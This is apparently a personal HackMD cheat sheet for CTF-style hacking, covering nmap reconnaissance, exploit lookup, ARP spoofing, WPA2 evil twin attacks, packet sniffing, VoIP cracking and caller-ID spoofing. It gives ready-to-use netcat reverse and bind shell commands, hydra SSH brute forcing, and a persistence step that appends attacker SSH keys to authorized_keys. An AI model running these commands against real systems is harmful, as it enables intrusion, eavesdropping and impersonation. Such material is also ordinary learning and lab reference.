Lorenz Woth
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # H0w t0 h4ck 3v3ryth1ng ## Reconnaissance 0. If you want, you can use `threader3000` to scan for open ports and use these open ports for your nmap command. 2. You could first nmap the machine to see general stuff - `nmap <ip>` is sufficient for general things - `nmap -Tn <ip>` makes it possible to set performance - `-T0` or `-T1` is paranoid / sneaky to bypass IDS - `-T2` is polite -> Slow scan but not that bandwidth intense - `-T3` is normal - `-T4` is aggressive -> Fast - `-T5` is insane -> Super duper fast and intensive :) - `-p-` for full port scan - `-sn` no ping scan, only host scan - `-Pn` skip host scan - `-sV [--version-intensity 0-9]` for service scan with intensity for better correctness - `-A` **Simply use this**, because it does version detection and traceroute 2. If you see some open ports, you can run a vulnerability scan: - `nmap <ip> --script vuln` 3. There are a couple of other options to run good scripts, so replace vuln e.g. with: - `version` makes more detailed version scan - `exploit` searches actively for exploits - `discovery` search for html-titles, smb-enum-shares and SNMP devices - `broadcast` discover the local network via broadcasting #### Predefined nmap commands SMB-Vuln Check: `nmap –script smb-check-vulns.nse –script-args=unsafe=1 -p445 <ip>` SMB-Enumeration: `nmap –script smb-check-enum-shares.nse –script-args=unsafe=1 -p445 <ip>` SMB-OS-Discovery: `nmap –script smb-os-discovery.nse –script-args=unsafe=1 -p445 <ip>` Eternal-Blue: `nmap -p 445 -script=smb-vuln-ms17-010.nse <ip>` ## Use gained information ### Initial contact Try to connect to the hosts (http(s), ssh, open ports) with the dedicated software (browser, ssh-agent) or with netcat. The information gained can include version numbers (from banners) or flags. ### Googling After knowing some ports or even the service behind it with version, we search for exploits. 1. Use `searchsploit <searchterm>` 2. `msfconsole` and use `search smb` e.g for smb 3. Google it Most of the time googling will lead to a solution for that version if its vulnerable and e.g. `exploit-db.com` generally has exploits or Metasploit scripts for it you can simply use in `msfconsole`. ## Snippets ### arpspoof - two way for one connection (get all the data on this route): `arpspoof -i <interface> -t <target1> -r <target2>` - one way for one host (get all data sent by anyone to this host): `arpspoof -i <interface> <target>` ### netcat IPv4 Reverse Shell - on machine: `nc <local-ip> 4444 -e /bin/sh` - local: `nc -nlvp 4444` Bind Shell: - On machine: `nc -lvp 4444 -e /bin/sh` - local: `nc <machine ip> 4444` Web Enum with gobuster: - `gobuster -u <target-host> -w /usr/share/wordlists/dirbuster/wordlist` SSH Bruteforce for root - `hydra -l root -P /usr/share/wordlists/rockyou.txt <ip> -t 4 ssh` Quick Python HTTP-Server on local machine serving files from current directory: - `python3 -m http.server <port>` ## WiFi Evil Twin Attack on WPA2: - see https://github.com/FluxionNetwork/fluxion - first [Handshake Snooper](https://github.com/FluxionNetwork/fluxion/wiki/Handshake-Snooper-Attack) and then [Captive Portal](https://github.com/FluxionNetwork/fluxion/wiki/Captive-Portal-Attack) ## Wireshark & TShark Run both Wireshark and TShark in sudo to see more or even be able to see your interfaces. ### Wirehshark Change Time and Name Resolution in View in you need it. View is in generel very helpful. Usefull filter Options: - Prtocol e.g. udp, http, etc. - ip.src == 192.168.0.0 - ip.addr == 192.168.0.0 - ip.dst == ... - && is logical AND - || is logical OR - !() is logical NOT - eth.addr == 00:00:.... - ipv6.addr == ... - ip - IPv4 only - ipv6 - udp.port == 53 - tcp.port == ... - tcp.flags.reset == 1 (for reset flag) - !(arp or icmp or dns) to keep useless stuff out - Right click on packages and use the follow option or apply filters! You apply the part as a filter where your mouse is. ### TShark Important flags: - `-c` package count - `-i` interface - `-w` write in file - `-r` read from file - `-f` for (capture-)filters, e.g.: - "host 192.168.0.1" - "net 192.../24" - "src net ..." - "port 53" - "host www.hpi.de" - "tcp portrange ..." - "ip" - `-Y` for display-filters, e.g.: - "sip or rtp" - "ip.addr == 192.168.0.1" There are many other options but thsark is basically wireshark in the command line. ## Simple website login brute force login A simple brute force for websites can be done by using hydra. Here is a simple [guide](https://redteamtutorials.com/2018/10/25/hydra-brute-force-https/). ## Zed Attack Proxy (ZAP) This is a webapp vulnerability scanner that can also be used as a proxy between the browser and the server to manipulate the requests or analyse the them. It also has a feature for automatically scanning a webserver and crawling all its contents. It also has the typical dirbuster functionallity. ## Interesting Cheatsheets - [SQL Injection](https://github.com/OlivierLaflamme/Cheatsheet-God/blob/master/Cheatsheet_SQLInjection.txt) - [Shells](https://github.com/OlivierLaflamme/Cheatsheet-God/blob/master/Cheatsheet_Shells.txt) ## Voice over IP This is a general purpose, really useful guide on [voip-hacking](https://hakin9.org/voip-hacking-techniques/). ### Tools - sipvicious (svmap, svwar, svcrack) - sipcrack (sipdump, sipcrack) - inviteflood (for DoS and spoofed caller ID) - metasploit (search for 'voip', 'sip', or 'rtp' for tools) - has some exploits for asterisk too - Softphones (VoIP-Clients): linphone (gui), twinkle (gui, cli), pjsau / pjsip (cli) - playing audio over a voip-client is possible (easier with cli-tools). I have not tested it yet ### Sniffing I recommend to use wireshark (not tshark this time) to record any voip-calls. To sniff a connection: - open wireshark, no capture filter, display-filter: `sip or rtp` or `udp` - It becomes easier when the initial SIP-connection is sniffed too. So start wireshark before the data is transmitted - Otherwise, decode one package as rtp and hope that wireshark realizes that there is a complete call - go to RTP-Stream > Analyse Stream > Export as an `.au`-file - open the file in audacity (wireshark will crash if you play it there) ### Walking through VoIP Challenges - find VoIP-devices: `svmap [-p5060,5061,8000-8100] [-m <method>] <ip-range>` - arpspoof yourself between two communication partner - alternatively, spoof yourself as the VoIP-server --> you get all information about the connections but no actual data ### Cracking passwords Utilising the server - scan the server for extensions (IDs, alphanumerical) --> they are the numbers you can call: `svwar [-e100-2000] [-d dictionary.txt] <ip-addr>` - try to bruteforce the authentications: `svcrack -u <username> [-d <dictionary> | -r100-200,1000-2000] <server-ip>` Utilising some clients - sniff their connection (for some authentication packets): `sipdump [-i <interface>] [-f <pcap-filter>] <dump-file>` - crack the used hash: `sipcrack [-s | -w <wordlist>] <dump-file>` (`-s` takes passwords over stdin) ### Caller-ID Spoofing - `inviteflood <interface> <receiver-user> <domain (server-ip)> <receiver-ip> <num. of sent packets> -a "<fake-sender-name>"` - send very few packages when spoofing a caller-id. Otherwise, it becomes a DoS ## Add Our SSH Keys to All Machines - does `~/.ssh/` exist? - does it have 0600 permissions? - does `~/.ssh/authorized_keys` exist? - does it have 0700 permissions? - is key authentication enabled in `/etc/sshd/ssh_config`? - `echo '<our keys>' >> ~/.ssh/authorized_keys` ## Important Locations to Check for On a New Machine

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully